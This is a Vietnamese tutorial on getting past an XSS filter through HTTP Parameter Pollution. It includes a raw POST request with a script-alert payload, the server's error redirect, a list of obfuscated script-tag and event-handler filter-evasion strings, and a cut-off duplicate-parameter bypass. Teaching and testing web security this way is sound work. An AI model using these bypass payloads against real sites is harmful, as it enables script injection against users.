Khai thác XSS thông qua lỗi HTTP Parameter Pollution
Khai thác lỗi HTTP Parameter Pollution là việc thêm vào những tham số thông qua các phương thức GET và POST. Về cơ bản hacker sẽ gửi những tham số giống nhau nhiều lần. Điều này sẽ dân tới hành động của server hoặc là kết hợp những tham số giống nhau làm một, hoặc loại bỏ một trong hai tham số đó. ...
Khai thác lỗi HTTP Parameter Pollution là việc thêm vào những tham số thông qua các phương thức GET và POST. Về cơ bản hacker sẽ gửi những tham số giống nhau nhiều lần. Điều này sẽ dân tới hành động của server hoặc là kết hợp những tham số giống nhau làm một, hoặc loại bỏ một trong hai tham số đó.
Sau đây là bảng thống kê những xử lý khác nhau của server:
Như chúng ta điều đã biết muốn khai thác được lỗi XSS thì bằng mọi cách chúng ta phải chèn được những ký tự đặc biệt như <, >, “,;, etc…. Nhưng đôi khi việc này không hề dễ dàng khi ứng dụng web có khả năng nhận diện và loại bỏ những ký tự này. Chúng ta hãy xem xét việc này thông qua ví dụ sau: biến category nhận giá trị truyền vào qua phương thức POST và giá trị này sẽ được in ra ở trên trình duyệt web. Woa! Ta nghĩ ngay ra cách khai thác bằng việc truyền vào giá trị như :<script>alert(1)</script> . Có thể dùng live header để làm điều này:
POST /search.htm HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 109
category = <script>alert(1)</script>
Nhưng trên thực tế việc này không thể tiến hành đơn giản như vậy, bởi lẽ ứng dụng web đã lọc giá trị cả biến category bất kỳ khi nào biến này nhân được giá trị là thẻ dạng HTML ngay lập tức website sẽ chuyển hướng tới trang thông báo lỗi
HTTP/1.1 302 Moved Temporarily Date: Tue, 03 Sep 2013 02:12:58 GMT Server: Apache-Coyote/1.1 X-Powered-By: Servlet 2.4; JBoss-4.3.0.GA/Tomcat-5.5 Content-Length: 0 Location: https://www.somesite.com/error.html?code=OWASP Connection: keep-alive Content-Type: text/html; charset=UTF-8 Trên thực tế hệ thống phát hiện XSS còn có thể lọc nhiều hơn giá trị của biến:
- "onclick
- "ondblclick
- "onmousedown
- "onmousemove
- "onmouseover
- "onmouseout
- "onmouseup
- "onkeydown
- "onkeypress
- "onkeyup
- "onabort
- "onerror
- "onload
- "onresize
- "onscroll
- "onunload
- "onsubmit
- "onblur
- "onchange
- "onfocus
- "onreset
- "onselect
- “><ScRiPt>
- “><SCRIPT>
- “><script//
- “><script/**/
- “><script+
- “><script%20
- “><script
- “><%73%63%72%69%70%74>
- “><<script>>
- “><s/**/c/**/r/**/i/**/p/**/t>
- “><s//c//r//i//p//t>
- “><s+c+r+i+p+t>
- “><s%20c%20r%20i%20p%20t>
- “><%26%23x73%26%23x63%26%23x72%26%23x69%26%23x70%26%23x74>
- <object
- <div
- <img
- <a
Nhưng chúng ta có thể bypass qua hệ thống lọc này thông qua HTTP Prameter Polution bằng cách thêm hai biến category giống nhau vào bên trong request
search.htm?category=&category=”>